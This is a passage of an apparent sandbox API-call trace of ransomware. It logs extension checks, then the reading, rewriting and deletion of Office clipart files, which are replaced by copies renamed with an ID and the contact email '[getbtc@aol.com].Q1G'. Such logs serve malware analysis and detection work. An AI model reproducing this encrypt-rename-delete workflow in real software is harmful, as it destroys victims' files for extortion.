4 [0247.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.657] lstrlenW (lpString=".xls") returned 4 [0247.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.657] lstrlenW (lpString=".xlsx") returned 5 [0247.657] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.657] lstrlenW (lpString=".ppt") returned 4 [0247.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0247.657] lstrlenW (lpString=".zip") returned 4 [0247.657] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.657] lstrlenW (lpString=".rar") returned 4 [0247.657] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.657] lstrlenW (lpString=".bz2") returned 4 [0247.657] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.657] lstrlenW (lpString=".7z") returned 3 [0247.657] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0247.657] lstrlenW (lpString=".dbf") returned 4 [0247.657] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0247.657] lstrlenW (lpString=".1cd") returned 4 [0247.657] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0247.657] lstrlenW (lpString=".jpg") returned 4 [0247.657] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0247.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0247.657] lstrlenW (lpString=".doc") returned 4 [0247.657] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.657] lstrlenW (lpString=".docx") returned 5 [0247.657] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.657] lstrlenW (lpString=".pdf") returned 4 [0247.657] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.657] lstrlenW (lpString=".xls") returned 4 [0247.657] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.657] lstrlenW (lpString=".xlsx") returned 5 [0247.657] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.657] lstrlenW (lpString=".ppt") returned 4 [0247.657] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0247.658] lstrlenW (lpString=".zip") returned 4 [0247.658] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.658] lstrlenW (lpString=".rar") returned 4 [0247.658] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.658] lstrlenW (lpString=".bz2") returned 4 [0247.658] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.658] lstrlenW (lpString=".7z") returned 3 [0247.658] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0247.658] lstrlenW (lpString=".dbf") returned 4 [0247.658] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0247.658] lstrlenW (lpString=".1cd") returned 4 [0247.658] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 63 [0247.658] lstrlenW (lpString=".jpg") returned 4 [0247.658] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.658] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.658] lstrlenW (lpString="DD00407_.WMF") returned 12 [0247.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0247.658] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=7828) returned 1 [0247.659] CloseHandle (hObject=0x3a0) returned 1 [0247.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf")) returned 0x20 [0247.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0247.659] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.659] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0247.660] GetLastError () returned 0x0 [0247.660] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x1e94, lpOverlapped=0x0) returned 1 [0247.669] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1ea0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1ea0, lpOverlapped=0x0) returned 1 [0247.670] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.670] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.670] SetEndOfFile (hFile=0x3c0) returned 1 [0247.670] CloseHandle (hObject=0x3c0) returned 1 [0247.671] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.671] SetEndOfFile (hFile=0x3a0) returned 1 [0247.673] CloseHandle (hObject=0x3a0) returned 1 [0247.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.673] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf")) returned 1 [0247.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0247.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0247.673] lstrlenW (lpString=".doc") returned 4 [0247.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.673] lstrlenW (lpString=".docx") returned 5 [0247.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.674] lstrlenW (lpString=".pdf") returned 4 [0247.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.674] lstrlenW (lpString=".xls") returned 4 [0247.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.674] lstrlenW (lpString=".xlsx") returned 5 [0247.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.674] lstrlenW (lpString=".ppt") returned 4 [0247.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0247.674] lstrlenW (lpString=".zip") returned 4 [0247.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.674] lstrlenW (lpString=".rar") returned 4 [0247.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.674] lstrlenW (lpString=".bz2") returned 4 [0247.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.674] lstrlenW (lpString=".7z") returned 3 [0247.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0247.674] lstrlenW (lpString=".dbf") returned 4 [0247.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0247.674] lstrlenW (lpString=".1cd") returned 4 [0247.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0247.674] lstrlenW (lpString=".jpg") returned 4 [0247.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0247.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0247.674] lstrlenW (lpString=".doc") returned 4 [0247.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.674] lstrlenW (lpString=".docx") returned 5 [0247.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.674] lstrlenW (lpString=".pdf") returned 4 [0247.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.674] lstrlenW (lpString=".xls") returned 4 [0247.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.674] lstrlenW (lpString=".xlsx") returned 5 [0247.675] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.675] lstrlenW (lpString=".ppt") returned 4 [0247.675] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0247.675] lstrlenW (lpString=".zip") returned 4 [0247.675] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.675] lstrlenW (lpString=".rar") returned 4 [0247.675] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.675] lstrlenW (lpString=".bz2") returned 4 [0247.675] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.675] lstrlenW (lpString=".7z") returned 3 [0247.675] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0247.675] lstrlenW (lpString=".dbf") returned 4 [0247.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0247.675] lstrlenW (lpString=".1cd") returned 4 [0247.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0247.675] lstrlenW (lpString=".jpg") returned 4 [0247.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.675] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.675] lstrlenW (lpString="DD00413_.WMF") returned 12 [0247.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.678] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=42992) returned 1 [0247.678] CloseHandle (hObject=0x200) returned 1 [0247.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf")) returned 0x20 [0247.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.679] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.679] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0247.695] GetLastError () returned 0x0 [0247.695] ReadFile (in: hFile=0x200, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0xa7f0, lpOverlapped=0x0) returned 1 [0247.699] WriteFile (in: hFile=0x3bc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xa800, lpOverlapped=0x0) returned 1 [0247.701] ReadFile (in: hFile=0x200, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.701] WriteFile (in: hFile=0x3bc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.701] SetEndOfFile (hFile=0x3bc) returned 1 [0247.701] CloseHandle (hObject=0x3bc) returned 1 [0247.701] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.701] SetEndOfFile (hFile=0x200) returned 1 [0247.861] CloseHandle (hObject=0x200) returned 1 [0247.861] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.862] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf")) returned 1 [0247.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0247.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0247.862] lstrlenW (lpString=".doc") returned 4 [0247.862] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.862] lstrlenW (lpString=".docx") returned 5 [0247.863] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.863] lstrlenW (lpString=".pdf") returned 4 [0247.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.863] lstrlenW (lpString=".xls") returned 4 [0247.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.863] lstrlenW (lpString=".xlsx") returned 5 [0247.863] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.863] lstrlenW (lpString=".ppt") returned 4 [0247.863] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0247.863] lstrlenW (lpString=".zip") returned 4 [0247.863] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.863] lstrlenW (lpString=".rar") returned 4 [0247.863] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.863] lstrlenW (lpString=".bz2") returned 4 [0247.863] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.863] lstrlenW (lpString=".7z") returned 3 [0247.863] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0247.863] lstrlenW (lpString=".dbf") returned 4 [0247.863] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0247.863] lstrlenW (lpString=".1cd") returned 4 [0247.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0247.863] lstrlenW (lpString=".jpg") returned 4 [0247.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0247.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0247.863] lstrlenW (lpString=".doc") returned 4 [0247.863] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.863] lstrlenW (lpString=".docx") returned 5 [0247.863] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.863] lstrlenW (lpString=".pdf") returned 4 [0247.863] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.863] lstrlenW (lpString=".xls") returned 4 [0247.863] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.863] lstrlenW (lpString=".xlsx") returned 5 [0247.863] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.864] lstrlenW (lpString=".ppt") returned 4 [0247.864] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0247.864] lstrlenW (lpString=".zip") returned 4 [0247.864] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0247.864] lstrlenW (lpString=".rar") returned 4 [0247.864] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0247.864] lstrlenW (lpString=".bz2") returned 4 [0247.864] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0247.864] lstrlenW (lpString=".7z") returned 3 [0247.864] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0247.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0247.864] lstrlenW (lpString=".dbf") returned 4 [0247.864] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0247.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0247.864] lstrlenW (lpString=".1cd") returned 4 [0247.864] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0247.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 63 [0247.864] lstrlenW (lpString=".jpg") returned 4 [0247.864] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0247.864] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0247.864] lstrlenW (lpString="DD00705_.WMF") returned 12 [0247.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.865] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=24588) returned 1 [0247.865] CloseHandle (hObject=0x200) returned 1 [0247.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x20 [0247.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0247.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0247.865] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.865] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0247.866] GetLastError () returned 0x0 [0247.866] ReadFile (in: hFile=0x200, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x600c, lpOverlapped=0x0) returned 1 [0247.874] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x6010, lpOverlapped=0x0) returned 1 [0247.875] ReadFile (in: hFile=0x200, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.875] WriteFile (in: hFile=0x3c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0247.875] SetEndOfFile (hFile=0x3c0) returned 1 [0247.875] CloseHandle (hObject=0x3c0) returned 1 [0247.875] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.875] SetEndOfFile (hFile=0x200) returned 1 [0247.877] CloseHandle (hObject=0x200) returned 1 [0247.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0247.878] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf")) returned 1 [0247.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0247.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0247.878] lstrlenW (lpString=".doc") returned 4 [0247.878] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0247.878] lstrlenW (lpString=".docx") returned 5 [0247.878] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0247.878] lstrlenW (lpString=".pdf") returned 4 [0247.878] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0247.878] lstrlenW (lpString=".xls") returned 4 [0247.878] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0247.878] lstrlenW (lpString=".xlsx") returned 5 [0247.878] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0247.878] lstrlenW (lpString=".ppt") returned 4 [0247.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0247.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63 [0247.878] lstrlenW (lpString=".zip") returned 4 [0247.878] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 